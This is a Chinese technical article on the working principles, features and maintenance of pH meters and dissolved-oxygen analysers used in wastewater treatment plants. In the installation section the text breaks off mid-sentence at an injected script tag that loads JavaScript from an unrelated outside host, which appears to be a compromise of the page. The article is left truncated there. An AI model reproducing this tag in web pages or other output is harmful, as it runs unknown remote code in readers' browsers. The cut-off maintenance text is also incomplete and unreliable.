pH计和溶氧仪在城市垃圾污水处理中的应用

本文介绍了ph计和溶氧分析仪得工作原理及其在污水处理系统中得应用,同时还介绍了它们的特点和安装和维护方法。

污水处理厂使用的分析仪有两种:ph计和溶氧分析仪。

一、工作原理

1.ph计的工作原理

水的ph值随着所溶解的物质的多少而定,因此ph值能灵敏地指示出水质的变化情况。ph值的变化对生物的繁殖和生存有很大影响,同时还严重影响活性污泥生化作用,即影响处理效果,污水的ph值一般控制在6.5~7之间。

水在化学上是中性的,某些水分子自发地按照下式分解:h2o=h++oh-,即分解成氢离子和氢氧根离子。在中性溶液中,氢离子h+和氢氧根离子oh-的浓度都是10-7mol/l,ph值是氢离子浓度以10为底的对数的负数:ph=-log,因此中性溶液的ph值等于7。如果有过量的氢离子,则ph值小于7,溶液呈酸性;反之,氢氧根离子过量,则溶液呈碱性。

ph值通常用电位法测量,通常用一个恒定电位的参比电极和测量电极组成一个原电池,原电池电动势的大小取决于氢离子的浓度,也取决于溶液的酸碱度。采用了cps11型ph传感器和cpm151型ph变送器。测量电极上有特殊的对ph反应灵敏的玻璃探头,它是由能导电、能渗透氢离子的特殊玻璃制成,具有测量精度高、抗干扰性好等特点。当玻璃探头和氢离子接触时,就产生电位。电位是通过悬吊在氯化银溶液中的银丝对照参比电极测到的。ph值不同,对应产生的电位也不一样,通过变送器将其转换成标准4~20ma输出。

2.溶氧分析仪的工作原理

水中的氧含量可充分显示水自净的程度。对于使用活化污泥的生物处理厂来说,了解曝气池和氧化沟的氧含量非常重要,污水中溶氧增加,会促进除厌氧微生物以外的生物活动,因而能去除挥发性物质和易于自然氧化的离子,使污水得到净化。

测定氧含量主要有三种方法:自动比色分析和化学分析测量,顺磁法测量,电化学法测量。水中溶氧量一般采用电化学法测量。麦该厂采用了cos 4型溶氧传感器和com252型溶氧变送器。

氧能溶于水,溶解度取决于温度、水表面的总压、分压和水中溶解的盐类。大气压力越高,水溶解氧的能力就越大,其关系由亨利(henry)定律和道尔顿(dalton)定律确定,亨利定律认为气体的溶解度与其分压成正比。

以cos 4氧量测量传感器为例。其中的电极由阴极(常用金和铂制成)和带电流的反电极(银)、无电流的参比电极(银)组成,电极浸没在电解质如kcl、koh中,传感器有隔膜覆盖,隔膜将电极和电解质与被测量的液体分开,因此保护了传感器,既能防止电解质逸出,又可防止外来物质的侵入而导致污染和毒化。

向反电极和阴极之间施加极化电压,假如测量元件浸入在有溶解氧的水中,氧会通过隔膜扩散,出现在阴极上(电子过剩)的氧分子就会被还原成氢氧根离子:

电化学当量的氯化银沉淀在反电极上(电子不足):4ag+4cl-® 4agcl+4e-。

对于每个氧分子,阴极放出4个电子,反电极接受电子,形成电流,电流的大小与被测污水的氧分压成正比,该信号连同传感器上热电阻测出的温度信号被送入变送器,利用传感器中存储的含氧量和氧分压、温度之间的关系曲线计算出水中的含氧量,然后转化成标准信号输出。参比电极的功能是确定阴极电位。

cos 4溶氧传感器的响应时间为:3分钟后达到最终测量值的90%,9分钟后达到最终测量值的99%;最低流速要求为0.5cm/s。

二、特点

1.ph计的特点

ph电极上的玻璃随着时间推移会逐渐老化,梯度(单位ph值变化所引起的电极输出电位的变化值)恶化,花费较长时间才能达到稳定电位。一般电极的使用寿命,可达两年。另外,温度对老化也有较大影响,100℃下贮存几周的老化程度相当于室温下贮存一年的老化程度。

ph计具有高精度、高可靠性、安装及维护方便等优点,同时对污染也较敏感,需要经常标定,一般每隔一个到一个半月标定一次,每两年更换一次电极。

2.溶氧仪的特点

溶氧仪具有安装方便,标定周期长(3~4个月),对其他物质不敏感等特点,并且能监测隔膜和探头内电解质的使用情况,一般每一至三年更换一次电解质和隔膜。

com252型溶氧变送器属智能化仪表,带有hart或profibus通讯协议,还具有自诊断功能,当发生故障时,会显示故障代码,提示维护人员故障所在,通过查维护手册找出解决故障的办法,大大降低了维护时间和工作量。

三、安装及维护

1.ph计的安装和维护

ph计的安装方式有流通式和浸入式两种。污水处理厂一般选用的是浸入式安装,如该污水处理厂的ph计安装在氧化沟的出口溢流槽内,此处的ph值较具?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计